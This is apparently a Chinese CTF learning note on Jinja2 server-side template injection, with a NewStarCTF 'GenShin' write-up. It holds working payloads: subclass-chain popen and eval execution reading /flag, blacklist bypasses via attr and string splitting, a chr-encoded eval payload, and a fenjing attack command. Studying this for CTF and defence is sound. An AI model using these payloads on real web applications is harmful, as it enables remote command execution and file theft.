SSTI模板注入学习小记
其实真的拖了很久没仔细学了 这个周末把ssti和xxe做完结尾
工具可以直接梭哈 这个是一道题目的命令 用的时候题目不一样要修改一些参数 比如post还是get 以及传参进去的参数名
fenjing crack -u http://node4.anna.nssctf.cn:28186/echo –method POST –inputs input –interval 0.01
SSTI模板注入
SSTI漏洞成因及危害:
SSTI(Server-Side Template Injection,服务端模板注入)是一种安全漏洞,通常出现在使用模板引擎的Web应用程序中。我们可以将SSTI模板注入类比于SQL注入,其成因是渲染函数在渲染的时候,对用户输入的变量不做渲染,当用户输入直接连接到模板中,而不是作为数据传入时,可能会发生服务器端模板注入攻击。任何编程语言都有可能出现 SSTI漏洞,SSTI 漏洞的本质是在服务器端对用户输入的不当处理,导致恶意用户能够通过注入模板代码来执行任意代码。这允许攻击者注入任意模板指令以操纵模板引擎,甚至可能造成任意文件读取和RCE远程控制后台系统。
1 | $output = $twig->render("Dear " . $_GET['name']); |
比如这个代码片段
在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name
参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。
如果攻击者将 name
参数设置为``{{ 7*7 }}
S
这样的结果会导致 Twig 引擎将 7*7
这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。
如何判断对方的模板?
常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等
这是通过逐步输入不同的 payload 来判断目标站点使用的模板引擎,以及是否存在注入漏洞
1. 初始测试
如果能执行并返回 49
,说明可能是支持 ${}
语法的模板(如 Smarty 等)。
如果无效,则尝试 {{7*7}}
。
2. Smarty 分支
Smarty 支持注释语法 {* ... *}
。
如果返回正常结果,基本可以确定是 Smarty。
如果能运行,可能是 Mako(Python 模板)。
如果不识别,可能是未知模板。
3. 分支
如果返回 49
:说明模板语法可能是 Jinja2(Flask、Django 等)、Twig(PHP)等常见框架。
如果报错或无效 → 可能 不存在漏洞,或者使用了未知模板引擎。
jinja2
这里主要从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎
模板的基本语法
1 | {% ... %} for Statements |
我们一个一个来看
1.
1 | `{% ... %}` |
控制语句
用于写控制逻辑,比如 循环、条件判断、继承、导入
1 | `{% for user in users %} |
是语句 输出的是
1 | `{{ user.name }}` |
1 | `{{ ... }}` |
表达式输出
用来输出变量或计算结果到模板页面。
任何放在 {{ ... }}
内的内容,都会被 计算并渲染成字符串。
1 | <p>Hello, {{ username }}!</p> |
3.
1 | `{# ... #)` |
→ 注释
4.
1 | `\# ...` |
就是一个简化书写
常见的魔术方法
1.__class_ _
获取对象所属的类
2. __mro__
可以通过它找到 所有基类,从而到 object
。
3. __base__
/ __bases__
类的直接父类。
常用于向上找 object
。
4. __subclasses__()
最常用的,能列出所有 object
的子类。
通过它可以找到各种敏感类,比如 file
, warnings.catch_warnings
, subprocess.Popen
5. __globals__
获取函数的全局作用域字典。
可用来找 os
、sys
等模块。
6. __getitem__
等价于 []
下标访问。
可绕过部分黑名单。
SSTI 中常用的魔术方法有
__class__
→ __mro__
→ __subclasses__()
→ __globals__
→ __builtins__
→ RCE
另外还会结合 __dict__
, __module__
, __getitem__
等来绕过限制。
注入思路
随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class ‘object’>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell
构造链思路
第一步
使用__class__
来获取内置类所对应的类
在 Python 里,每个对象都有一个 __class__
属性,通过它可以获取到该对象所对应的类
对于字符串对象(像 ''
或者 ""
),使用 __class__
会得到 <class 'str'>
,表明这个对象属于字符串(str
)类;
对于列表对象(如 []
),__class__
会返回 <class 'list'>
,说明它属于列表(list
)类;
元组对象(如 ()
)的 __class__
是 <class 'tuple'>
,属于元组(tuple
)类;
字典对象(如 {}
)的 __class__
为 <class 'dict'>
,属于字典(dict
)类。
简单来说,就是用 __class__
这个属性来查看不同内置对象到底属于哪种类别,帮助理解 Python 中对象和类的关系。
第二步
拿到object
基类
在 Python 中,所有类都直接或间接继承自 object
类
有三种方式获取
方式一:用__bases__[0]
拿到基类
- 语法:
对象.__class__.__bases__[0]
对象.__class__
:先获取对象所属的类(比如字符串 ''
的类是 str
);
类.__bases__
:获取该类的直接父类元组(因为一个类可能有多个直接父类,所以返回元组);
__bases__[0]
:取元组的第 0 个元素,即第一个直接父类。
1
2
3
4 >//字符串 '' 的类是 str,str 的直接父类是 object
>''.__class__.__bases__[0]
><class 'object'>
方式二:通过 __base__
获取
- 语法:
对象.__class__.__base__
__base__
是 __bases__
的 “简化版”,直接返回类的第一个直接父类(如果类没有直接父类,返回 None
,但内置类都继承自 object
,所以一定能拿到)。
方式三:通过 __mro__
获取
- 语法:
对象.__class__.__mro__[1]
或对象.__class__.__mro__[-1]
__mro__
是一个元组,包含类的继承链顺序(从当前类到最顶层基类 object 的顺序);__mro__
[1]:取继承链的第 1 个元素(因为第 0 个是当前类自己,第 1 个就是直接父类,通常是 object);__mro__
[-1]:取继承链的最后一个元素(最顶层基类,即 object)。
为什么要获取 object
基类
这是关键步骤
object
类有一个特殊方法 __subclasses__()
,可以获取所有继承自 object
的子类列表(包含大量内置类和可能的危险类,如 file
、subprocess.Popen
等);
拿到子类列表后,就能进一步利用这些类执行文件读取、命令执行等操作,最终实现 “getshell”。
第三步
用__subclasses__()
拿到子类列表
每个类都有一个 __subclasses__()
方法,调用该方法会返回所有直接继承自当前类的子类列表。
object
是 Python 中所有类的最顶层基类,所以 object.__subclasses__()
会返回Python 中所有已加载的类的列表(因为所有类都直接或间接继承自 object
)。
1 | ''.__class__.__bases__[0].__subclasses__() |
(1)''.__class__
''
是一个空字符串对象,__class__
是对象的内置属性,用于获取该对象所属的类。
执行后得到:<class 'str'>
(即字符串类)。
(2).__bases__[0]
__bases__
是类的内置属性,用于获取该类的直接父类元组(因为 Python 支持多继承,所以父类是元组形式)。
str
类的直接父类是 object
(Python 中所有类最终都继承自 object
),所以 str.__bases__
返回 (<class 'object'>,)
,取第 0 个元素 .__bases__[0]
就得到 <class 'object'>
(即 object
基类)。
(3).__subclasses__()
对 object
类调用 __subclasses__()
方法,会返回所有继承自 object
的子类列表。
由于 Python 内置了大量类(如 list
、dict
、file
、subprocess.Popen
等),且运行时可能加载了更多自定义类,所以这个列表会非常长(即 “一大堆的子类”)。
第四步
从object.__subclasses__()
返回的大量类中,筛选出包含文件操作、命令执行等危险功能的类
首选:os._wrap_close
(索引快速定位)
利用脚本跑索引
在ssti中,我们需要找到 Python 内置的、能执行系统命令(如 popen
)的类。但这些类在 object.__subclasses__()
返回的 “子类列表” 中是无序的,且索引会随环境变化,因此需要用脚本遍历子类,定位目标类的索引,才能构造 payload 利用。
1 | search = 'popen' # 要搜索的目标方法名(这里是os.popen,用于执行系统命令) |
1.().__class__.__bases__[0]
:
() 是元组对象,__class__
获取其类(<class ‘tuple’>);__bases__[0]
获取 tuple 类的第一个父类,即最顶层基类 object。
2.__subclasses__()
:
调用 object.__subclasses__()
,返回所有继承自 object 的子类列表(包含 Python 内置类、第三方库类等)。
3.i.__init__.__globals
__:
i 是遍历到的子类;__init__
是类的构造方法;__globals__
是 init 方法所在的全局作用域字典(包含该类所在模块的所有全局变量、方法)。
4.if search in ...keys()
:
检查全局作用域中是否包含 popen 方法(os.popen 是执行系统命令的关键方法)。
运行之后会输出类似
1 | <class 'os._wrap_close'> 128 |
这表示:在子类列表中,索引为 128 的类是 os._wrap_close
,且它的 __init__
全局作用域包含 popen
。
利用找到的类执行命令(本地验证)
1 | # 步骤1:获取os._wrap_close类 |
首先我们通过{{ "".__class__.__bases__[0].__subclasses__() }}
输出所有子类
查看他们的索引
构造最后利用payload
1 | {{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /flag').read() }} |
在实际做题时
无法本地跑脚本 这时候
获取子类
1 | ().__class__.__bases__[0].__subclasses__() |
然后把获取的子类列表字符串(包含所有类的描述,如<class 'os._wrap_close'>
)复制到find2.py
的变量a
中:
1 | import json |
脚本通过字符串处理逻辑,从变量a
中提取每个类的完整描述(如<class 'os._wrap_close'>
):
1 | num = 0 |
处理后,allList
列表会存储每个类的完整描述字符串
最后遍历allList
列表,寻找包含os._wrap_close
的元素
1 | for k, v in enumerate(allList): # enumerate获取索引(k)和元素(v) |
输出类似
表示os._wrap_close
类在子类列表中的索引是128
。
这个是第一个脚本
可以看到有六个类都包含__import__
随便用一个就行
1 | {{"".__class__.__bases__[0].__subclasses__()[115].__init__.__globals__.__import__('os').popen('whoami').read()}} |
我这里的版本是python3 python2和这个不一样
下面看一个23都通用的方法
__builtins__
代码执行
把上面find.py脚本search变量赋值为__builtins__
,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧
再调用eval等函数和方法即可,payload如下
1 | {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} |
绕过黑名单
知道怎么构造出来的payload 下一步就是学习如何绕过一些过滤
细说Jinja2之SSTI&bypass_bypass ssti-CSDN博客
文章写的比我细 需要的时候翻一下就可以了
[NewStarCTF 2023 公开赛道]GenShin
信息收集
我点了好几次也没看见这还有个路径提示。。。。。。。
试了下ssti
66666666666
试了下这里只要俩大括号就不行
利用{% %}
标签执行代码
1 | {% print(7*7) %} |
查看当前 Flask 应用的配置信息
1 | {% print(config) %} |
这里试的时候可以发现过滤了蛮多东西 .也过滤了
绕过.我们就用attr
第一步拿到类和基类
()|attr("__class__")|attr("__base__")
1 | ?name= |
获取子类列表
1 | import json |
|attr("__globals__")
的作用是从类的构造方法中 “撬出” 它所在模块的所有功能,让我们能拿到 os
模块等 “危险工具”,最终实现命令执行、文件读取等攻击行为,这是 SSTI 漏洞从 “注入” 到 “getshell” 的关键一跃。
下一步就是访问这个globals
这里init也被过滤了
通过字符串拼接来绕过
把 __init__
拆分为 '__in' + '__it__'
1 | ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%} |
得到的这个就是global的字典内容
它相当于是一个武器库
返回当前作用域的全局变量字典
在 SSTI 中,拿到这个字典就相当于获得了:
- 所有内置函数(如
eval
、__import__
、open
等,可执行命令、读写文件); - 已加载的模块(如
os
、subprocess
等,是执行系统操作的核心工具); - 模板运行时的自定义变量 / 类(可能包含开发者遗留的危险逻辑)
这里又过滤了popen systen这种直接执行的
所以我们需要间接执行比如eval+字符串编码
|attr("get")("eval")
:从 __builtins__
中取出 eval
函数
执行的命令
eval(__import__('os').popen('ls /').read())
这里要把它进行chr编码 然后chr中间要加上加号
之后知道flag位置直接进行查看
完整payload
1 | ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%} |
写死我了。。。。。